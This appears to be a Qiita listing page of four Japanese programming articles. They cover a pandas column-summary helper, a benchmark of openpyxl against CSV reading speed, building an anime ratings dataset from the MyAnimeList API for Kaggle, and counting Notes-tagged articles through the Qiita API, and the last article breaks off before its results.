uq.unique_list(X,Y) 変数 入る値 X 読み込んだデータ Y 表示形式:0~3まであるよ プログラムの解説 count.py def unique_list(x, y): colum_dict = {} #空の辞書作成 a=list(x.columns) #カラムリスト作成 b=len(x) #ループ回数 listData=[] col=pd.DataFrame(x.columns).T T=[y] for k in range(len(a)): for i, j in enumerate(x): colum_dict[i] = j dz= x[(f"{colum_dict[k]}")].unique() listData.append([dz]) list_df = pd.DataFrame(listData).T unique_list = col.append(list_df) unique_list = unique_list.T unique_list.columns = ('index','Unique value') unique_list_Valu=unique_list['Unique value'].astype(str).str.replace('[', '').str.replace(']', '') unique_list_Index=unique_list['index'] unique_list = pd.concat([unique_list_Index,unique_list_Valu], axis=1) df = pd.concat([ x.count().rename('Number of data'), x.dtypes.rename("DataTypes"), x.isnull().sum().rename("Missing values"), (x.isnull().sum() * 100 / x.shape[0]).rename("Missing values (%)").round(2), ], axis=1) df_a = df.reset_index() info = pd.merge(df_a, unique_list).rename(columns={'index': 'Index'}) if y==0 : info = info.rename(columns={'Index': 'Logical name'}) return info elif y==1: info2=info.rename(columns={'Index':''}).set_index('') return info2 elif y==2: info2=info.rename(columns={'Index':''}).set_index('') return df elif y==3: list_df = unique_list_Valu.T.reset_index() list_da1 = list_df['Unique value'].\ str.replace('^\x20+', '').\ str.replace(" {2,}", " ").\ sort_values().\ str.split(' ', expand=True) list_da2 = list_df['Unique value'] list_da1=pd.concat([unique_list_Index,list_da1], axis=1) return list_da1 else : return df_a
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Python】pandasを活用して複数カラムのユニーク値を一括で取り出すプログラム書いてみた

目次 作成した理由 本記事の内容 使い方 プログラムの解説:リクエストあったら書こうかな 作成した理由 知人に頼まれたのと、面白そうだったから。 本記事の内容  データ分析を行なっている方!分析をするとなると、まず最初にデータ俯瞰しません?どんな列があって、どんな直が格納されているか確認しますよね?するよね???? pythonには大変便利で超絶有能なライブラリpandasってのがあります。これを利用すると ・列名や行名の取得が可能です。(参考) ・任意の列に対して、格納されているデータのユニーク値の確認ができます。 (これはPandasのほんの一機能にすぎません) ただし、全ての列に対して格納されているユニークな値を取り出すには一手間加える必要があります。また、分析を行う上で、列名(要素名)に加え、格納されているデータ数、データ型、欠損数(欠損率も)知れるといいですよね?なのでユニーク値に加え上記の太字の奴らを表形式で出すやつ作りました!!長ったらしく書きましたが、、、、 結論:作ったpythonプログラム?モジュール?の使い方とプログラムの解説やります。 使い方 1. 機能説明 2. コード直書き(コピペ)して使用 3. モジュールとして使用 ?りんごの環境は以下の通り JupyterLab: 3.0.7 Python: 3.8.6 Pandas: 1.2.2 ディレクトリ構成 2. コード直書き(コピペ)して使用する場合 任意のrootディレクトリ/  ├ test.csv #機能説明をみてね  └ Tutorial.ipynb #実行するnotebookです!皆さんは新規で作成してね 3. モジュールとして使用する場合 任意のrootディレクトリ/  ├ test.csv #機能説明をみてね  ├ Tutorial.ipynb #実行するnotebookです!皆さんは新規で作成してね  └ ringo_python_module #りんごが書いたプログラムを格納したファイルだよGitlabからクローンしてね? 機能説明 下記の表1に示すのは、Kaggle(データ分析のコンペサイト)に掲載されているタイタニックチュートリアルのテストデータになります。今回の機能説明はこちらのデータを利用します。(ダウンロードはこちら)ご賞味あれ。 表1:test.csv この表1のデータが。。。じゃん!(表2みて欲しいです。) 表2:りんごプログラム はい。このようにデータの全体像の片鱗を取得できます✧٩(ˊωˋ*)و✧ Logical name Number of data DataTypes Missing values Missing values(%) Unique value 表示内容 要素名 データ数 データ型 欠損数 欠損率 ユニーク値 コード直書き(コピペして使用) プログラムの解説からコードをコピーしてnotebook(Tutorial.ipynb)にペーストしてください。 コードを実行したら、次は下記のコードを実行していきます。(❁´ω`❁) Tutorial.ipynb ## 利用するライブラリー import pandas as pd import warnings #FutureWarningが表示されるので記述してます。みたい人はこれをコメントアウトして実行してね warnings.filterwarnings('ignore') ## データの読み込み df = pd.read_csv("test.csv") できましたか?もしここまででつまづいたら気軽に質問してください(^^; (エラーによっては答えられないかも、、だけど) いよいよ表示します!!!下記コードを実行してみてください!! Tutorial.ipynb unique_list(df,0) どうですか?無事に表2と同じ結果が得られたと思いますΣ(゚Д゚)スゲェ!! モジュールとして使用 こちらからからコードを対象のディレクトリにクローンしてください。 クローンできたら下記を実行してください(/ω\) Tutorial.ipynb import pandas as pd import warnings warnings.filterwarnings('ignore') ## クローンしたソースコードを読み込んで実行できるようにします! from ringo_python_module import count as uq Tutorial.ipynb ## データの読み込み df = pd.read_csv("test.csv") それでは、いよいよ表示します!!!下記コードを実行してみてください!! Tutorial.ipynb uq.unique_list(df,0) どうですか?無事に表2と同じ結果が得られたと思いますΣ(゚Д゚)スゲェ!! 補足 Tutorial.ipynb unique_list(X,Y) 変数 入る値 X 読み込んだデータ Y 表示形式:0~3まであるよ プログラムの解説 count.py def unique_list(x, y): colum_dict = {} #空の辞書作成 a=list(x.columns) #カラムリスト作成 b=len(x) #ループ回数 listData=[] col=pd.DataFrame(x.columns).T T=[y] for k in range(len(a)): for i, j in enumerate(x): colum_dict[i] = j dz= x[(f"{colum_dict[k]}")].unique() listData.append([dz]) list_df = pd.DataFrame(listData).T unique_list = col.append(list_df) unique_list = unique_list.T unique_list.columns = ('index','Unique value') unique_list_Valu=unique_list['Unique value'].astype(str).str.replace('[', '').str.replace(']', '') unique_list_Index=unique_list['index'] unique_list = pd.concat([unique_list_Index,unique_list_Valu], axis=1) df = pd.concat([ x.count().rename('Number of data'), x.dtypes.rename("DataTypes"), x.isnull().sum().rename("Missing values"), (x.isnull().sum() * 100 / x.shape[0]).rename("Missing values (%)").round(2), ], axis=1) df_a = df.reset_index() info = pd.merge(df_a, unique_list).rename(columns={'index': 'Index'}) if y==0 : info = info.rename(columns={'Index': 'Logical name'}) return info elif y==1: info2=info.rename(columns={'Index':''}).set_index('') return info2 elif y==2: info2=info.rename(columns={'Index':''}).set_index('') return df elif y==3: list_df = unique_list_Valu.T.reset_index() list_da1 = list_df['Unique value'].\ str.replace('^\x20+', '').\ str.replace(" {2,}", " ").\ sort_values().\ str.split(' ', expand=True) list_da2 = list_df['Unique value'] list_da1=pd.concat([unique_list_Index,list_da1], axis=1) return list_da1 else : return df_a
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

openpyxlでexcelの読み書きを自動化…していいのかを考えよう

要約 Pythonで業務ファイルを操作するとき、エクセルファイルはエクセルファイルであることが処理のボトルネックになりうる。できるだけテキストファイルで処理できるようにしよう。 遭遇したトラブル 職場にて2つのエクセルの資料をマージすることになった。 数が少なければ最悪目で確認すればよかったが、2000ファイル以上で、各ファイルのマージする列も1万行を超えていた。 仕方がないからまず差分を取り出すために書きなれているPythonで差分比較用のスクリプトを書いたが、まる二日放置していても1ファイルの差分も完了していなかった。 検証 どうやら自分の想像以上にopenpyxlは遅かったし、特定条件で無限に時間を使ってしまうソフトになっているようだ。 テスト用にまずは次のコードを実行し、これをexcelで開いてxlsx形式で保存し直した。 流石にシンプルすぎるため、中身の解説は省略する。 CreateTestCase.py import random with open("testdata_csv.csv", "w") as out_file: for _ in range(50000): out_file.write(",".join([str(random.randint(0, 1000)) for _ in range(100)]) + "\n") そしてそれを次のコードで読み込ませた。あまりにも時間がかかるため、適当なところでプログラムを落とすこと。 CalcTestCase.py import openpyxl as xl import datetime as dt ROWS = 50000 COLS = 100 CHECK_INTERVAL = 10 def put_interval_to_csv(start: dt.datetime, end: dt.datetime, row_count, target): with open(f"log_{target}.csv", "a") as log_file: log_file.write(f"{row_count},{(end - start).seconds}.{(end - start).microseconds:06}\n") def calc_excel(): book = xl.load_workbook("testdata_csv.xlsx", True) # VBAと違い、シート番号は0スタート sheet = book.worksheets[0] start_check = dt.datetime.now() for row in range(ROWS): if not row % CHECK_INTERVAL: start_check = dt.datetime.now() row_sum = 0 for col in range(COLS): row_sum += sheet.cell(row + 1, col + 1).value print(row_sum) if not row % CHECK_INTERVAL: end_check = dt.datetime.now() put_interval_to_csv(start_check, end_check, row, "excel") def calc_csv(): with open("testdata_csv.csv") as read_file: start_check = dt.datetime.now() for row in range(ROWS): cells = read_file.readline().rstrip().split(",") row_sum = 0 for col in range(COLS): row_sum += int(cells[col]) print(row_sum) end_check = dt.datetime.now() put_interval_to_csv(start_check, end_check, row, "csv") if __name__ == '__main__': calc_csv() calc_excel() csvとxlsx形式の両方で各業の合計数をprintしている。 ただし、xlsxでは10行ごとに速度の計測を行い、csvは全体の実行時間の速度を計測した。 検証結果 テキストファイルの合計の出力は、5000行全てに対して1.297秒かかっているが、csvファイルの出力は下記のような結果になった。 縦軸が1行の処理にかかった秒数、横軸が列である。 青い折れ線が結果で、パット見だと直線に見えるので、excelの機能で1次式の近似式を作り、数式も出力した。 この傾きだと、もし最後までやっていたらおおよそ$4.5 \times 10^7$秒、500日以上かかる計算になった。 また、COLを5に書き換えたところ、上記の処理時間のグラフの傾きが0.016とおおよそ20分の1になった。読み込んだ行が一番影響が大きそうだ。 回避方法 Q. エクセルファイルの操作が遅い。どうしたらしい? A. エクセルを使わなければいい。 ということで、仕事ではエクセルファイルを一旦csvファイルに保存してから作業を行った。こちらはVBAで自動で変換させた。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Kaggle】アニメデータセットの作成から分析まで:前編

はじめに こんにちは。千々松のいるです。 今回はデータ分析のためにアニメレビューサイトのデータセット作成からデータ分析までを実施しました。 Kaggleのアニメで有名なデータセットが4年前からまったく更新されていなかったことに悲しさを感じたことが今回の経緯になります。 本データセット元となるサイトは過去から最新のほとんどのアニメの評価とレビューが網羅されている大変素晴らしいサイト(MyAnimeList.net)です。 本サイトを見て頂ければ分かりますが、海外の人でも日本人と同じように、あるいは日本人以上に熱心にアニメを見られていて、また、アニメのレビューをしっかりデータ化されていることに驚くと思います。 実際、Kaggleのアニメ評価データセットを作成されたのも海外の方ですし、日本は諸外国に比べて本当にデータが少ないなぁと思いました。 ということで、今回は日本のアニメオタクを代表させてもらった気分でアニメ評価のデータセットの作成・簡単な分析までを実施させて頂きますのでご興味のある方は是非ご覧頂けたらと思います。 前編ではデータセットの作成までを行います。 後編はこちら(現在4/25作成中)。 レシピ ~前編:データセット作成編~ 1. APIアカウントの取得 2. APIを利用したスクレイピング 3. データセットとしてKaggleに公開 ~後編:データ分析編~ 4. ジャンルによるグルーピング 5. KNNを用いたユーザベースリコメンデーション Data & Code 作成したDataとCodeを先に置いておきます。 Data: Anime Recommendations Database vol.2 Code: NoiruCH@github.com Description animes.csvとratings.csvの2つのデータから成るデータセットです。 animes.csv 2020年冬アニメまでの15,221本のアニメのデータです。 アニメ名や平均得点などのデータが格納されていて、以下の10カラムで構成されています。 [anime_id, title, genre, media, episodes, rating, members, start_date, season, source] ratings.csv 108,000人のユーザのアニメに対する1~10点の評価点のデータです。 以下の3カラムで構成されています。 [user_id, anime_id, rating] 参考に、これは私の評価データとなりますが、これを108,000人分取得しました。 環境 Python 3.9.0 pandas 1.1.5 OS: Windows 10 Home IDE: VisualStudio Code 1. APIアカウントの取得 海外大手のアニメレビューサイトMyAnimeList.netからAPIを用いてデータセットを作成していきます。 まずがアカウントの取得からトークンの生成までを実施します。 こちらの記事がとても分かりやすかったので、この記事通りに進めていきます。 1-1. IDの作成 APIを使うにあたってまずIDを発行する必要があります。マイページのAPIタブからCreate IDを押下します。 そうすると簡単な英作文を問われるので適切に回答します。営利目的でなければ比較的ラフなものでも良いかと思われます。 登録しおえるとマイページのAPIタブに「Clients Accessing the MAL API」の行が新設され右のEditボタンからIDの情報を確認することができます。 内容はぼかしていますがClient IDは後で使用するので控えておいてください。 1-2. ユーザ認証 ユーザ認証を行うには先ほどのClient IDとcode_challengeが必要になります。 code_challengeというのは、文字[AZ] / [az] / [0-9] / "-" / "。"のみを含む高エントロピーの暗号化ランダム文字列らしく以下のcodeでローカル環境から発行します。 generate_verifier.py import secrets def get_new_code_verifier() -> str: token = secrets.token_urlsafe(100) return token[:128] code_verifier = code_challenge = get_new_code_verifier() print(len(code_verifier)) print(code_verifier) 128文字で出力されたものをcode_challengeとして使用していきます。 それでは、client_idとcode_challengeをご自身のものに書き換えて以下をブラウザで叩きます。 https://myanimelist.net/v1/oauth2/authorize?response_type=code&client_id="CLIENT_ID"&code_challenge="CODE_CHALLENGE"&state=RequestID42 すると以下のページにリダイレクトするのでAllowを押下します。 英作文で指定したURLにcodeが付与されていますので、それを記録しておきます。 1-3. アクセストークンの取得 ここまできてやっとアクセストークン取得準備ができました。少々長かったですね。 アクセストークンの取得にはHTTP GETメソッドではなくPOSTメソッドを利用する必要があります。 HTTP POSTメソッドを利用するにはcURLを利用する人が多いと思いますが、私は普段使ってるIDEがVisualStudioCodeということもあり、今回はVisualStudioCodeの拡張機能REST Clientを利用しました。 まず、VisualStudioCodeに以下の拡張機能をインストールします。 あとは以下のようなhttpファイルを作成します。"大文字"で記されている部分は個々人で異なるので各自ご入力ください。 access_token.http POST /v1/oauth2/token HTTP/1.1 Host: myanimelist.net Content-Type: application/x-www-form-urlencoded client_id="CLIENT_ID" &code_verifier="CODE_VERIFIER" &grant_type=authorization_code &code="CODE" &client_secret="CLIENT_SECRET" すると、HTTP Responseにaccess_tokenとrefresh_tokenがjson形式で返ってきたと思います。 最後に返ってきたaccess_tokenを使ってAPIを呼び出してみましょう。 get.http GET http://api.myanimelist.net/v2/users/@me Authorization: Bearer "ACCESS_TOKEN" 以下のようにHTTP StatusCode 200で返ってきていたら成功です。 HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Fri, 23 Apr 2021 08:58:21 GMT Server: Apache Cache-Control: no-cache Pragma: no-cache Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Robots-Tag: noindex,nofollow X-Cache: Miss from cloudfront Via: 1.1 f4af4b1945a48ea980406b6f98124b10.cloudfront.net (CloudFront) X-Amz-Cf-Pop: NRT51-C4 X-Amz-Cf-Id: yupn0hhvLL4XV2c3TDMahIpTcqVnIHTZ6x5EUlAvNgDllb00R8dcHQ== { "id": 12644329, "name": "Noiru_CH", "birthday": "", "location": "", "joined_at": "2021-04-23T01:23:40+00:00", "picture": "https:\/\/api-cdn.myanimelist.net\/images\/userimages\/12644329.jpg?t=1619168400" } 2. APIを利用したスクレイピング 4年前のアニメデータセットと同様にanime_idを共通キーとしてanimes.csvとratings.csvを作成していきます。 2-1. animes.csvの作成 まず始めに、アニメタイトルの方から取得していきます。 前回のデータセットは列として[anime_id, name, genre, type, episodes, rating, members]を抽出していたのですが、今回は以下の列を追加しています。 [start_date, start_season, source] APIからrequestsライブラリを使ってJSON形式でデータを抽出していきます。 ACCESS_TOKENは皆さま個々人のものが必要になります。 API_referencesはこちらになります。 get_animes.py import requests import json import pprint import time import pandas as pd from tqdm import tqdm url = "https://api.myanimelist.net/v2/anime/" ACCESS_TOKEN = "ACCESS_TOKEN" params = {'fields': 'id, title, genres, media_type, num_episodes, mean, num_list_users, start_date, start_season, source'} headers = {} headers['Authorization'] = 'Bearer ' + ACCESS_TOKEN def get_animes(anime_id, url=url): anime_id = str(anime_id) url = url + anime_id response = requests.get(url, params=params, headers=headers) response = response.json() pprint.pprint(response) if response != {'error': 'not_found', 'message': ''}: # main_pictureの削除 del response['main_picture'] # genre_listの結合 genres = response['genres'] genre_list = [] for genre in genres: genre_list.append(genre['name']) re_genres = ','.join(genre_list) response['genres'] = re_genres # start_seasonの結合 season = response['start_season'] re_season = season['season'] + '_' + str(season['year']) response['start_season'] = re_season anime_list.append(response) anime_list = [] for i in tqdm(range(1, 42_401)): try: get_animes(i) except Exception as e: print(e) print('\n\n time to sleep 30 seconds. \n') time.sleep(30) columns = ['anime_id', 'title', 'genres', 'media', 'episodes', 'rating', 'members', 'start_date', 'season', 'source'] anime_df = pd.DataFrame(anime_list) anime_df.columns = columns # headerだけの空リストを作成 empty_df = anime_df[:0] empty_df.to_csv('data/animes.csv', index=False) # 空csvにアニメのデータフレームを追記 anime_df.to_csv('data/animes.csv', mode='a',header=None ,index=False) 1日くらいスクリプトを回し続けることで、結果的に15,221本のアニメのデータフレームを取得することができました。 2-2. ratings.csvの作成 次に、ユーザごとの評価データを取得していくのですが、APIはユーザIDではなくユーザ名でしか取得できない仕様となっています。 なので、トップページのCommunityタブのUsersからてきとうにユーザ名を抽出していきます。 ユーザ検索では年齢の範囲が設定できるので試しに検索してみると1,000,000人近いユーザを確認することができました。 でも、1,000,000人すべてのユーザから仮に一人当たり100件の評価データを取得できたとすると評価データ数が100,000,000件を1億件を超えてしまいますので、今回は1/10の108,000人を標本抽出しました。 get_users.py import requests import pprint import time import numpy as np import pandas as pd from tqdm import tqdm from bs4 import BeautifulSoup as bs url = 'https://myanimelist.net/users.php?cat=user&q=&loc=&agelow=14&agehigh=34&g=&show=' def get_users(url, num): url = url + str(num) response = requests.get(url).text soup = bs(response, 'html.parser') items = soup.find_all(class_='borderClass') user_list = [] for i in range(1,25): users = items[i].find('a').text user_list.append(users) return user_list users_list = [] for num in tqdm(range(0,108_001,24)): user_list = get_users(url, num) users_list.extend(user_list) time.sleep(3) sr = pd.Series(users_list, name='users', index=np.arange(1,len(users_list)+1)) sr.to_csv('data/users.csv') これで108,000人のユーザ名のデータをpandasのシリーズとしてcsv化することができました。 次に、このユーザ名の情報をもとにAPIを用いてユーザごとの評価データを取得していきます。 get_ratings.py import requests import time import pandas as pd from tqdm import tqdm # users_listのimport users_df = pd.read_csv('data/users.csv') users_df.columns = ['user_id', 'users'] url = 'https://api.myanimelist.net/v2/users/@me/animelist?fields=list_status&limit=1000' ACCESS_TOKEN = "ACCESS_TOKEN" headers = {} headers['Authorization'] = 'Bearer ' + ACCESS_TOKEN def get_rates(users_index): url = 'https://api.myanimelist.net/v2/users/'+users_df.iloc[users_index]['users']+'/animelist?fields=list_status&limit=1000' response = requests.get(url, headers=headers) response = response.json() anime_list = response['data'] anime_id_list = [] rating_list = [] for i in range(len(anime_list)): if anime_list[i]['list_status']['status'] == "completed": anime_id = anime_list[i]['node']['id'] rating = anime_list[i]['list_status']['score'] anime_id_list.append(anime_id) rating_list.append(rating) df = pd.DataFrame({'anime_id': anime_id_list, 'rating': rating_list}) df['user_id'] = users_df.iloc[users_index]['user_id'] df = df.reindex(columns=['user_id', 'anime_id', 'rating']) df.to_csv('data/new_rating.csv', mode='a', index=False, header=None) # headerだけの空リストを作成 empty_df = pd.DataFrame(np.random.randn(1,3), columns=['user_id', 'anime_id', 'rating']) empty_df = empty_df[:0] empty_df.to_csv('data/new_rating.csv', index=False) for i in tqdm(range(len(users_df))): try: get_rates(i) except Exception as e: print(e) print('\n\n time to sleep 30 seconds. \n') time.sleep(30) 相当な量になるので丸1.5日くらいスクリプトを回し続けてやっとデータを取得することができました。 取得した評価データは合計11,039,694件となりました。 3. データセットとしてKaggleに公開 あとは作成したデータセットをKaggleのDatasetsに公開するだけです。 以下のようにKaggleトップページの左ペインのDatasetsから+ New Datasetを押下します。 すると自分のデータセットのページが作成されますので、後はデータセットの説明やサムネの画像などを設定していきます。 そうしてできたページがこちらになります! 後編では、今回作成したデータセットを用いて簡単な分析をしていきたいと思います(分析に関しては、機械学習ビギナーなので温かい目で見て頂ければ幸いです) それでは、また後編で! 参考 MyAnimeList authorization Reference MyAnimeList APIconfig References Anime Recommendations Database
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Notesは終わったのかQiitaAPIで記事数を取得してplotlyでグラフ化する

目的 十数年共に歩んできた、ユーザーが気軽に掲示板やワークフローのEUCを作れるグループウェア、Notes。 サイボウズやOffice365が台頭してきて乗り換え検討をしても「ウチには膨大な業務アプリやEUCがあるから…」と結局立ち消えになるのを何度も目にしてきました。でもついに乗り換えるらしいです。 私はといえばノースキル状態で無茶ぶりされた時の名残で独学なりにちょっとNotesをいじれてしまうのでNotesで困ったことがあると、わりとお声がけいただきます。しかし結局独学なのでまずはGoogle先生に教えを乞う…のですが、最近、調べても検索にヒットしなさすぎではないですか? ・・・これはいよいよNotes人口減ってるのでは? ちょうどQiitaAPIを叩いてみたかったので、QiitaでNotesという単語を含む記事を投稿日時とセットで抜き出して、年推移を見てみたいと思います。 試行錯誤の様子も時系列に記述しておりますのでQiitaAPIとplotly初心者のご参考になれば。 環境 Visual Studio Code 1.55.0 Node.js 15.12.0 npm 7.6.3 axios 0.21.1 csv 5.5.0 Python 3.8 plotly 4.14.3 試行その1 app01.js const axios = require("axios"); async function main() { let response = await axios.get( "https://qiita.com/api/v2/items?per_page=100&query="+encodeURIComponent("Notes") ); for (let i = 0; i < response.data.length; i++) { console.log(response.data[i].created_at); } } main(); 「Notes」という文字列をencodeURIComponentで扱えるようにして、APIで取得し、コンソールにはcreated_atのみを出力しています。 以下の記事を参考にさせていただきました。 初心者がQiitaのタグ情報を取得しTOP10を可視化し考察する。 結果その1 2021-04-22T09:57:54+09:00 2021-04-22T07:24:12+09:00 2021-04-21T22:13:02+09:00 2021-04-21T22:04:22+09:00 2021-04-21T14:44:37+09:00 2021-04-21T10:41:14+09:00 2021-04-20T14:10:05+09:00 2021-04-20T11:13:32+09:00 2021-04-19T23:52:45+09:00 2021-04-17T09:23:47+09:00 2021-04-16T18:04:08+09:00 2021-04-15T16:10:00+09:00 2021-04-13T23:35:50+09:00 2021-04-13T23:24:13+09:00 2021-04-13T10:21:38+09:00 2021-04-13T02:49:04+09:00 2021-04-11T16:34:04+09:00 2021-04-09T18:04:25+09:00 2021-04-09T17:24:52+09:00 2021-04-09T16:38:31+09:00 2021-04-08T17:29:03+09:00 2021-04-06T16:40:48+09:00 2021-04-06T13:59:42+09:00 2021-04-06T00:40:49+09:00 2021-04-06T00:15:49+09:00 2021-04-05T04:19:00+09:00 2021-04-04T16:06:49+09:00 2021-04-04T05:19:18+09:00 2021-04-03T10:05:59+09:00 2021-04-02T08:21:48+09:00 2021-03-31T22:16:22+09:00 2021-03-31T15:36:40+09:00 2021-03-31T09:23:14+09:00 2021-03-30T23:19:04+09:00 2021-03-29T20:08:14+09:00 2021-03-29T16:37:28+09:00 2021-03-28T12:13:19+09:00 2021-03-27T17:43:25+09:00 2021-03-27T17:38:21+09:00 2021-03-25T18:34:20+09:00 2021-03-25T02:02:42+09:00 2021-03-24T17:31:29+09:00 2021-03-24T15:21:08+09:00 2021-03-22T14:00:19+09:00 2021-03-22T00:24:36+09:00 2021-03-21T16:58:10+09:00 2021-03-20T12:17:29+09:00 2021-03-16T23:18:38+09:00 2021-03-16T21:43:12+09:00 2021-03-16T16:09:59+09:00 2021-03-16T14:32:29+09:00 2021-03-16T01:24:34+09:00 2021-03-15T11:40:48+09:00 2021-03-14T20:31:40+09:00 2021-03-13T06:05:06+09:00 2021-03-12T20:31:04+09:00 2021-03-11T21:10:02+09:00 2021-03-11T17:44:13+09:00 2021-03-11T12:57:36+09:00 2021-03-11T08:47:25+09:00 2021-03-10T19:19:34+09:00 2021-03-10T18:02:47+09:00 2021-03-10T14:51:25+09:00 2021-03-09T19:38:57+09:00 2021-03-08T07:48:44+09:00 2021-03-08T06:57:12+09:00 2021-03-08T02:29:27+09:00 2021-03-07T15:30:00+09:00 2021-03-05T18:14:13+09:00 2021-03-05T17:24:02+09:00 2021-03-04T13:32:09+09:00 2021-03-04T03:16:27+09:00 2021-03-03T19:00:53+09:00 2021-03-02T11:26:55+09:00 2021-03-01T22:21:39+09:00 2021-03-01T21:01:56+09:00 2021-02-28T21:45:02+09:00 2021-02-28T18:56:59+09:00 2021-02-28T02:08:35+09:00 2021-02-27T08:56:07+09:00 2021-02-27T04:00:50+09:00 2021-02-26T22:43:37+09:00 2021-02-26T16:09:20+09:00 2021-02-26T12:06:35+09:00 2021-02-25T16:14:36+09:00 2021-02-24T12:56:30+09:00 2021-02-24T11:23:13+09:00 2021-02-24T10:41:37+09:00 2021-02-22T07:43:35+09:00 2021-02-21T17:24:43+09:00 2021-02-21T13:23:03+09:00 2021-02-19T21:39:28+09:00 2021-02-16T08:31:53+09:00 2021-02-16T03:30:20+09:00 2021-02-16T00:56:52+09:00 2021-02-15T17:20:01+09:00 2021-02-15T14:54:25+09:00 2021-02-13T14:01:55+09:00 2021-02-12T15:51:49+09:00 2021-02-12T12:34:11+09:00 考察その1 お。意外と最新の日付ではないか。Notesめ、やりおるやりおる。 。。。んなわきゃーない。 参考になるコードを先に見つけてしまったのでつい更新日時のみを引っ張ってしまいましたが、まっとうにまずはブラウザに以下を投入してAPIの返りの全体を見てみましょう。 "https://qiita.com/api/v2/items?per_page=100&query=%22+encodeURIComponent(%22Notes%22)" 出力されてきた記事タイトルと眺めてみると以下のような感じ。 title: "Redmineの注記にテンプレートを入れる(手抜き版)", title: "MonacaアプリとSquareのPOSレジアプリを連携させる(iOS編)", title: "WebサイトでSquareのPOSレジアプリを使う(iOS編)", title: "Hapi.jsでHappy Coding - Part1: ルーティングとSwaggerプラグイン", うん。Notes関係ねぇな。 今度はAPIで返ってきたWEBページ全体に対して「Notes」で文字検索してみます。 /edit?issue[notes]=" "notes": "notes for the transaction" "notes": "取引に関する説明書き" なーるほーどーなー。 一般的な用語だとこうなってしまうのか。 というわけで次は本文ではなくタグに絞って検索し、一緒に記事タイトルも出力するようにしてみましょう。 試行その2 使えそうなAPIを探します。 "https://qiita.com/api/v2/docs" これ(↓)がよさそう。 GET /api/v2/tags/:tag_id/items 指定されたタグが付けられた記事一覧を、タグを付けた日時の降順で返します。 page ページ番号 (1から100まで) Example: 1 Type: string Pattern: /^[0-9]+$/ per_page 1ページあたりに含まれる要素数 (1から100まで) Example: 20 Type: string Pattern: /^[0-9]+$/ GET /api/v2/tags/:tag_id/items?page=1&per_page=20 HTTP/1.1 Host: api.example.com 以下を変更します。 "https://qiita.com/api/v2/items?per_page=100&query="+encodeURIComponent("Notes") ↓ "https://qiita.com/api/v2/tags/Domino/items?per_page=100" タイトルも出力するようにします。 console.log(response.data[i].created_at) ; 結果がちょっとごちゃっとしてたので改行を追加します。 console.log(""); app02.js const axios = require("axios"); async function main() { let response = await axios.get( "https://qiita.com/api/v2/tags/notes/items?per_page=100" ); for (let i = 0; i < response.data.length; i++) { console.log(response.data[i].created_at) ; console.log(response.data[i].title); console.log(""); } } main(); 結果は以下。 2021-04-06T13:59:42+09:00 notes 入力した文言が含まれるフィールドを一覧表示 2020-12-26T00:12:13+09:00 雑なsharepoint運用基礎講座3 番外編 vs Notes 2020-11-12T18:10:45+09:00 IBMi環境でDomino11.0.1にアップグレードしてはまったこと 2020-10-29T16:53:16+09:00 CentOS7 にDomino11を入れてみた 2020-07-02T16:12:48+09:00 NOTESクライアント メール通知音の消し方 2020-06-30T19:18:38+09:00 リモートワーク通信節約の小ネタ 2020-03-13T15:47:54+09:00 Macのメモ(Notes.app)から全テキストを取り出す JXA 2020-02-11T11:59:05+09:00 Notesの文書リンクを取得するボタンを作成(簡単にSlackなどへ貼り付けられます) 2020-01-28T15:48:31+09:00 Gsuiteセミナー@六本木 セミナーメモ 2019-12-15T15:21:09+09:00 Notes/Dominoの役立つリンク集 2019-12-15T15:04:28+09:00 IBM Notes リンク生成あれこれ 2019-12-15T15:00:09+09:00 Notes/Dominoの役立つ@式 2019-08-09T07:12:13+09:00 OnTimeをいじってみた「週の初めはなん曜日?」 2019-07-24T18:59:07+09:00 DjangoからLouts Notesへデータの受け渡し 2018-12-08T01:08:02+09:00 IBM、Notes/Domino(他)を売却 2018-06-26T13:35:52+09:00 Atom利用中パッケージ 2018-04-11T16:55:59+09:00 IBM Notes にCSVを読み込ませる 2017-12-05T11:41:58+09:00 Watson Language Translator を Java で呼び出す。編集中の Notes 文書から使う。 2017-09-26T01:03:05+09:00 「Windows8以降での@Browserinfo("Platform")の返り値の問題」に対処する 2016-12-27T10:48:37+09:00 ファイル形式 Structured Text と Lotus 1-2-3 (.wk4) のデータ構造 2016-12-19T20:56:09+09:00 VBScriptでLotusScriptを利用する 2016-06-20T19:02:22+09:00 ノーツビューを GetDocumentByKey などで検索できないときの確認事項 2016-06-13T12:07:57+09:00 ノーツ(LotusScipt)で、任意のネットワーク共有フォルダ・ファイルを開く 2016-02-09T18:01:12+09:00 ノーツのビューで、値があるのに空白表示されたり、おかしな内容が表示される場合、$nというフィールドが出来てしまっているかも。 2016-01-15T15:45:50+09:00 Macのメモ(Notes)からEvernoteにエクスポートするAppleScript 考察その2 今度はちゃんとNotes関連の記事っぽいですね。よしよし。 API良いですね。欲しいタイトルだけをシンプルに結果を出してくれるのでノイズも少なくて生産性高くできそうです。 あと面白そうなNotesの記事も見つけられました。 Notesの文書リンクを取得するボタンを作成(簡単にSlackなどへ貼り付けられます) Notes/Dominoの役立つリンク集 試行その3 では本題。日付だけ出力、年別にカウントします。 正直なところ出力結果が30行くらいでしたので、console結果をExcelにコピペしてしまおうかと思ったのですが、@ranchi1977さんがcsv出力までされていたので負けじとトライしてみます。 JavaScriptとQiitaAPIで取得した人気タグ情報をplotlyで散布図表示してみる モジュールをインストールします。 npm install csv パッケージ行を追加します。 const fs = require("fs"); const csvStr = require("csv-stringify/lib/sync"); const csvParse = require('csv-parse/lib/sync'); せっかくCSVに出すのに1行だと寂しいので記事タイトルとURLも1行に出せるようにします。 app03.js const axios = require("axios"); const fs = require("fs"); const csvStr = require("csv-stringify/lib/sync"); const csvParse = require('csv-parse/lib/sync'); async function main() { //csvに変換する用list let outcsv = []; //csvのヘッダー設定 let columns = ["作成日","記事タイトル","URL"]; outcsv.push(columns); let response = await axios.get( "https://qiita.com/api/v2/tags/notes/items?per_page=100" ); for (let i = 0; i < response.data.length; i++) { //listに格納 let record = []; record.push(response.data[i].created_at,response.data[i].title,response.data[i].url); outcsv.push(record); } // csvとして出力 fs.writeFileSync("./qiita_list_notes.csv", csvStr(outcsv)); } main() 結果その3 